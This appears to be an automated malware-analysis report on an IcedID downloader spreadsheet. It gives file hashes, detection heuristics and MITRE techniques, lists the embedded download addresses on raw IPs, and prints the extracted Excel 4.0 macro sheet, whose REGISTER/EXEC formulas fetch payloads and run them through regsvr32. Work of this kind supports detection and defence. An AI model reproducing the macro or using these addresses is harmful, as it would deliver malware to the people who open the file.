IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 7cbf8ba2a74976fb…

MALICIOUS

Office (OOXML)

321.6 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-06-30
MD5: bb0ddaac186a06f81223febda803857d SHA-1: 250acdc44661a4470c81265318a737e990fb6790 SHA-256: 7cbf8ba2a74976fbb91d8d984c1eb6c2be1f7254cb753b2185fccb0d806cf4eb
290 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The file contains Excel 4.0 macros, specifically utilizing the REGISTER and EXEC functions to download and execute a secondary payload. The embedded URLs and the command 'regsvr32 ..\Kro.fis' strongly suggest a downloader functionality, consistent with the IcedID family. The use of dangerous XLM functions and the presence of multiple suspicious URLs indicate a high likelihood of malicious intent.

Heuristics 7

  • ClamAV: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0
  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: REGISTER, EXEC, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 2 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://185.219.42.117/ In macro / runtime command snippet
    • http://111.90.148.65/In macro / runtime command snippet
    • http://185.183.96.24/In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 2611 bytes
SHA-256: 7207f96ca01ef25e18113069b3c7dc40d440793aa020a66a8912eb45d3d7e98e
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{1F6988B8-EA22-44CB-B340-DE917F2EE874}"><dimension ref="F8:G25"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="5" width="9.140625" style="2"/><col min="6" max="6" width="27.5703125" style="2" customWidth="1"/><col min="7" max="7" width="36.7109375" style="2" customWidth="1"/><col min="8" max="16384" width="9.140625" style="2"/></cols><sheetData><row r="8" spans="6:7" x14ac:dyDescent="0.25"><c r="G8" s="2" t="str"><f>NOW()&amp;".d"&amp;"at"</f><v>44370,6160976851.dat</v></c></row><row r="12" spans="6:7" x14ac:dyDescent="0.25"><c r="G12" s="2" t="b"><f>REGISTER(Sheet2!O12,Sheet2!O13,Sheet2!O14,Sheet2!O15,,1,9)</f><v>0</v></c></row><row r="13" spans="6:7" x14ac:dyDescent="0.25"><c r="F13" s="2" t="s"><v>4</v></c><c r="G13" s="2" t="e"><f>Jerutyg(0,F13&amp;G8,"..\Kro.fis",0,0)</f><v>#NAME?</v></c></row><row r="14" spans="6:7" x14ac:dyDescent="0.25"><c r="F14" s="2" t="s"><v>5</v></c><c r="G14" s="2" t="e"><f>Jerutyg(0,F14&amp;G8,"..\Kro.fis1",0,0)</f><v>#NAME?</v></c></row><row r="15" spans="6:7" x14ac:dyDescent="0.25"><c r="F15" s="2" t="s"><v>6</v></c><c r="G15" s="2" t="e"><f>Jerutyg(0,F15&amp;G8,"..\Kro.fis2",0,0)</f><v>#NAME?</v></c></row><row r="18" spans="7:7" x14ac:dyDescent="0.25"><c r="G18" s="2" t="b"><f>EXEC(Sheet2!O22)</f><v>0</v></c></row><row r="19" spans="7:7" x14ac:dyDescent="0.25"><c r="G19" s="2" t="b"><f>EXEC(Sheet2!O22&amp;"1")</f><v>0</v></c></row><row r="20" spans="7:7" x14ac:dyDescent="0.25"><c r="G20" s="2" t="b"><f>EXEC(Sheet2!O22&amp;"2")</f><v>0</v></c></row><row r="25" spans="7:7" x14ac:dyDescent="0.25"><c r="G25" s="2" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>